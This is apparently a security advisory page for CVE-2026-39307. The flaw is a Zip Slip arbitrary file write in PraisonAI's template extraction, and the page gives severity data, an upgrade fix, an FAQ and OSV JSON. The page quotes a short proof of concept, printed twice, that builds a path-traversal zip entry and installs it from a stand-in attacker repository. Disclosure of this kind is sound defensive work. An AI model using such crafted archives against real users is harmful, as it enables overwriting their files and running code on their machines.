CVE-2026-39307: PraisonAI PraisonAI Has Arbitrary File Write Vulnerability

HIGH
Advisory Identifier: GHSA-4ph2-f6pf-79wv
CVSS 8.1
CWE-23 CWE-22
Published
Advisory Summary

CVE-2026-39307 is a HIGH (CVSS 8.1) praisonai has arbitrary file write vulnerability (CWE-23: Relative Path Traversal) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves praisonai has arbitrary file write (zip slip) in templates extraction. Remediation is available by upgrading affected packages to version 4.5.113.

CVE-2026-39307 at a Glance

CVE Identifier CVE-2026-39307
GHSA Identifier GHSA-4ph2-f6pf-79wv
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-23: Relative Path Traversal
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-39307

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

PraisonAI fixed: 4.5.113
pip install PraisonAI>=4.5.113
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show PraisonAI

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-39307, inspect your installed packages using pip:

pip show PraisonAI

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.113), your application is affected.

Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-23: Relative Path Traversal, where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory. ### Details Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852) Vulnerable Code snippet: ```python zip_ref.extractall(tmpdir) ``` During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren't strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem. ### PoC 1. Generate a malicious zip payload: ```python import zipfile with zipfile.ZipFile('malicious_template.zip', 'w') as z: # Adding a file that traverses directories z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip') ``` 2. Trick a user into installing the malicious template: ```bash praisonai templates install github:attacker/malicious_template ``` 3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim's machine. ### Impact This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

CVE-2026-39307 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.5.113
Product / Package Ecosystem Affected Versions Fixed Version
PraisonAI
PyPI
< 4.5.113
4.5.113

References

Frequently Asked Questions

What is CVE-2026-39307?
CVE-2026-39307 is a security vulnerability in PraisonAI involving PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction under CWE-23: Relative Path Traversal.
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.5.113 across affected packages: PraisonAI.
What version fixes CVE-2026-39307?
Upgrading to 4.5.113 (or the latest patched release for your respective branch) resolves the vulnerability.
Is PraisonAI affected?
Yes, PraisonAI is affected in releases prior to 4.5.113. Upgrade your dependency to 4.5.113 or later.
What is the CVSS score of CVE-2026-39307?
CVE-2026-39307 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-39307?
CVE-2026-39307 is classified under CWE-23: Relative Path Traversal (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.).
How can I check PyPI dependencies for CVE-2026-39307?
Run the dependency tree command: 'pip show PraisonAI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4ph2-f6pf-79wv",
  "modified" : "2026-04-07T22:09:54Z",
  "published" : "2026-04-06T23:08:55Z",
  "aliases" : [ "CVE-2026-39307" ],
  "summary" : "PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction",
  "details" : "The PraisonAI templates installation feature is vulnerable to a \"Zip Slip\" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory. \n\n### Details\nLocation: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)\n\nVulnerable Code snippet:\n```python\nzip_ref.extractall(tmpdir)\n```\n\nDuring installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren't strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.\n\n### PoC\n1. Generate a malicious zip payload:\n```python\nimport zipfile\n\nwith zipfile.ZipFile('malicious_template.zip', 'w') as z:\n    # Adding a file that traverses directories\n    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')\n```\n2. Trick a user into installing the malicious template:\n```bash\npraisonai templates install github:attacker/malicious_template\n```\n3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim's machine.\n\n### Impact\nThis is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "PraisonAI"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.113"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.5.112"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4ph2-f6pf-79wv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39307"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.113"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-23" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-06T23:08:55Z",
    "nvd_published_at" : "2026-04-07T17:16:36Z"
  }
}